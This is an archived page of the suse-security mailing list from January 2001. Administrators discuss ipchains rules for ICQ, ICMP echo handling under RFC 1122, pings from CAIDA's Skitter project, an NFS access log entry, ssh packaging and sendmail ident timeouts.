> -----Ursprungliche Nachricht----- > Von: Corvin Russell [mailto:corvinr@sympatico.ca] > Gesendet: Freitag, 5. Januar 2001 15:50 > An: suse-security(a)suse.com > Betreff: [suse-security] ICQ and firewals > > > > I am using the firewall package that came with 6.4. Neither kicq nor > ICQJava can establish a connection. Both work fine when the firewall > is stopped. What do I need to allow? I don't have a sniffer running, Yes, you have. Try tcpdump or iptraf. I think you do better with iptraf. If it's not installed on your linux box, install it from the n(etwork) section. > and there's no documentation about the ports that ICQ listens on. I > have noticed 1067, 1069 so far. The ICQ server is at 205.188.153.100 - > 205.188.153.110 (looks like) and connects on port 4000. So icq is doing the following: Request to icq server: You ------> icq server 1024: ------> 4000 Answer from icq server: You <------ icq server 1024: <------ 4000 And this is how you have to open your firewall. ipchains wise it would sound like this: ipchains -A output -p tcp -s [ip.of.your.machine] 1024: -d [ip.of.icq.server] 4000 -i [ext-eth] -j ACCEPT # with this rule the packets are leaving your firewall box on ext-eth to icq server ipchains -A input -p tcp -s [ip.of.icq.server] 4000 -d [ip.of.your.machine] 1024: -i [ext-eth] -j ACCEPT # and this is icq server's answer on ext eth on your firewall box. The only thing you have now to do is to define both forward and input rules and then you'll be fine. You can also adapt this to SuSE firewall which, as much as I've heard about it, does not have a real good reputation. HTH Philipp > TIA > > Corvin > > -- > Corvin Russell <corvinr(a)sympatico.ca> > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com >

1 0

strange nfs things
by max 05 Jan '01

05 Jan '01

this is from my syslog: Jan 5 09:30:57 datatwirl nfsd[3841]: Unauthorized access by NFS client 192.168.1.50. i KNOW there is no 192.168.1.50 on my network, and should not be anywhere on the internet. that ip address does not ping, is not in my /etc/hosts file, and no machine on my local network was ever put on that ip address. so why would nfs tell me something like this? TIA max

3 3

ICMP ECHO was Skitter.ORG
by Raffy 05 Jan '01

05 Jan '01

> > [extract from rfc 1122]: > Interesting... I never read this RFC... I'm on it right now. Don't have too much time, should probably also do that *g* > >> quoted from RFC section > > Echo server and Echo client |3.2.2.6 |x| | | | | > > What is echo server and echo client? > >> 3.2.2.6 Echo Request/Reply: RFC-792 > >> Every host MUST implement an ICMP Echo server function that > >> receives Echo Requests and sends corresponding Echo Replies. > >> A host SHOULD also implement an application-layer interface > >> for sending an Echo Request and receiving an Echo Reply, for > >> diagnostic purposes. Seems nice. But if I block that at the firewall. I mean the host implemented it, but I block it :-) Honestly, I guess I will have to allow PING through the firewall, although, I DON'T LIKE THAT! What are other people's thoughts? > > Pass Echo Reply to higher layer |3.2.2.6 |x| | | | | > > Pass Echo Reply to higher layer? Meaning in the IP stack, right? > >> 3.2.2.6 Echo Request/Reply: RFC-792 > >> (...) > >> Echo Reply messages MUST be passed to the ICMP user > >> interface, unless the corresponding Echo Request originated > >> in the IP layer. > I phrased my question wrong... Anyway. Let me help you with the OSI model: > OSI layer diagram: (quoted from my Memory - e.g. may be wrong / different) > -Top- Application is the TOP > Application: HTTP/FTP > ???: ICMP/TCP SESSION > transportation: IP > ??? : Ether DataLink! Lowest layer ist Physical Layer! > >> 3.2.2.6 Echo Request/Reply: RFC-792 > >> (...) > >> An ICMP Echo Request destined to an IP broadcast or IP > >> multicast address MAY be silently discarded. > >> DISCUSSION: > >> This neutral provision results from a passionate debate > >> between those who feel that ICMP Echo to a broadcast > >> address provides a valuable diagnostic capability and > >> those who feel that misuse of this feature can too > >> easily create packet storms. > > Conclusion: > So I should implement my gateway/firewall to discard such incoming ICMP requests, right? You should block ICMP to the broadcast address in every case. This is the source for a lot of DOS attacks. Because it would generate quite some network traffic (all the machines in the subnet would PONG) > No other host could now how I subnetted my network. > I can not decide if an outgoing ICMP-request is legal (i.e. if 10.0.1.0 is a > host or network. But their router can be configured from their > administrator) What do you mean? Raffy

2 1

Skitter.ORG
by Raffy 05 Jan '01

05 Jan '01

Since I have set up my firewall to block PING, I have an aweful lot of entrys from Skitter.(e.g. host k-root.skitter.caida.org) Does anybody else have that problem? I don't want that guy to ping me all the time. What can I do? IpFilter logentries: Jan 5 10:38:19 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (ping-1) Jan 5 10:38:22 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (toping-1) Jan 5 10:38:24 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (toping-1) Jan 5 10:38:27 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (ping-1) Jan 5 10:38:30 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (toping-1) Jan 5 10:38:32 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (toping-1) Jan 5 10:38:35 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (ping-1) Jan 5 10:38:38 pathfinder.cryptojail.net ASCEND: wan4 8/0/icmp 212.71.102.163 <- 193.0.14.253 66 !pass (toping-1) Thanx Raffy

2 1

RE: [suse-security] Skitter.ORG
by Raffy 05 Jan '01

05 Jan '01

> Right. Its http://old.caida.org/Tools/Skitter/ for more information. Now I found it. You can send email to: skitter-configs(a)caida.org telling them to discontinue pinging you... Thanks Michael! Raffy

1 0

RE: [suse-security] Skitter.ORG
by Raffy 05 Jan '01

05 Jan '01

> > Since I have set up my firewall to block PING, I have an aweful lot of > > entrys from Skitter.(e.g. host k-root.skitter.caida.org) > > Does anybody else have that problem? I don't want that guy to ping me all > > the time. > Perhaps Go!Zilla trying to load your images? It uses icmp to find the fastest > server for a resource (this silly thing does this also if you entered just > one location...) > > >What can I do? > Nothing. > Perhaps change your way of logging. (Something like last message repeated xxx > times...) Nono... It's certainly not gozilla. I checked that skitter guy. It's somehow an organisation trying to map the internet. I don't have the webpage handy right now. The machine is also not the webserver. It's a client in my net... So certainly no Go!Zilla.... Any other suggestions? Raffy

2 1

Re: [suse-security] And oh, btw..
by Nix 05 Jan '01

05 Jan '01

At 10:20 PM 4/01/2001 -0600, you wrote: >This has been out for a while, though only kept to those who found in at >the ftp site. It has much better USB support and there are several new >features in the kernel. I don't know, I would check it out. > >michael no.. those were -prerelease and -test releases. This is the final 2.4.0 release... -Nix -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking

2 1

Re: [suse-security] suggestion for ssh packaging
by Erwin Zierler - Stubainet 05 Jan '01

05 Jan '01

Hi Bob... 1) I do not think ssh is such an insecure service to be worried about the fact that it's installed by default. 2) anyone who is a little bit interested in his/her system will/should at least once check the settings in /etc/rc.config. The various START_* variables are really quite easy to understand (even for a novice) so all you have to do is set the value to "no" for all services that you dont know/need. A little reading in your handbook will give you enough info to make the right decision. The real problem nowadays is that most people dont want to be bothered reading anything anymore :-) At 12:36 04.01.01 +0000, you wrote: >Hello, > >I have 2 suggestions that I believe will increase both security and >usability: > >(1) split the ssh packages into client and server parts Uh I think I wouldn't like that. If SuSE starts doing that with all client/server stuff I will switch distro :-) >(2) have an ssh client installed as default > >It is absurd that someone who installs an ssh client should find >themselves running an ssh server. I would like to see most desktops in the >world running an ssh client, but only a tiny minority should be running >ssh servers. > >The current situation could lead to people who have installed ssh so that >they can access remote servers securely finding their home computers have >been compromised because they unknowingly run an ssh service. Ssh is not _that_ easy to compromise (if I compare it to telnet for instance) so if we are talking security I'd rather have a few services disabled in /etc/inetd.conf >The second suggestion is just to make my life easier...part of my job is >to explain to people how to install ssh clients on their home machine, and >the less they have to do the better. rpm -ql ssh will tell you what files are installed, /etc/ssh* will be sufficient to configure the package for your needs and /etc/rc.config needs START_SSHD=no. Thats pretty much it as far as manual intervention goes and with that everyone can use ssh clients and no server is running. >Happy new year, >Bob Happy new year to you as well! Erwin Erwin Zierler | Web-/Hostmaster - Stubainet | Email: Erwin.Zierler(a)stubainet.at / webmaster(a)stubainet.at | Tel.: 05225 - 64325 Fax 99 Mobil: 0664 - 130 67 91

5 4

RE: [suse-security] WG: [suse-security] ftp/firewall security
by Raffy 05 Jan '01

05 Jan '01

> Yes, sendmail is queries to port 113 on my firewall box. On > this box no auth is running. Not accepting these queries > results in much slower down-/upload of mails. Since on the > firewall box is no auth server installed I don't see a real > threat. So I let it be. I classified it problem no 3742978237 > on my to do list. > > > Disable it, if that is your problem. Or am I misreading anything? > > No, you're not. If, then I have to disable it on sendmail > first and afterwards on the firewall box. So disable it in sendmail.cf: # timeouts (many of these) .... O Timeout.ident=0s Although, I'm not really sure if that did all the trick. Because I think I remember that I still had 113-queries from sendmail. Maybe someone else knows... Hope that helps Raffy

1 0

WG: [suse-security] ftp/firewall security
by Philipp Snizek 05 Jan '01

05 Jan '01

Hi Raffy, Saw your homepage. Like your banner in the middle where Hoax, and so on links are found. How did you do that (it's pure html as much as I saw)? I work on the same. I have problems with the borders although they're set to 0. But let me get to the problem. > > ipchains -A input -p tcp -s 212.232.168.180/32 1024: -d > 212.232.168.183/32 > > 113 -i eth0 -j ACCEPT # Don't worry guys, there is no auth > server running > on > > 212.232.168.183, it's there because of sendmail. I still > didn't find a > > suitable solution to make it faster although I'm sure there is one. > > > Aehm, let me ask you what exactly you mean by this? Is it the > problem that > sendmail queries authd when sending emails? Yes, sendmail is queries to port 113 on my firewall box. On this box no auth is running. Not accepting these queries results in much slower down-/upload of mails. Since on the firewall box is no auth server installed I don't see a real threat. So I let it be. I classified it problem no 3742978237 on my to do list. > Disable it, if > that is your > problem. Or am I misreading anything? No, you're not. If, then I have to disable it on sendmail first and afterwards on the firewall box. CUL Philipp

1 0

RE: [suse-security] ftp/firewall security
by Raffy 05 Jan '01

05 Jan '01

> ipchains -A input -p tcp -s 212.232.168.180/32 1024: -d 212.232.168.183/32 > 113 -i eth0 -j ACCEPT # Don't worry guys, there is no auth server running on > 212.232.168.183, it's there because of sendmail. I still didn't find a > suitable solution to make it faster although I'm sure there is one. Aehm, let me ask you what exactly you mean by this? Is it the problem that sendmail queries authd when sending emails? Disable it, if that is your problem. Or am I misreading anything? Thanks Raffy

1 0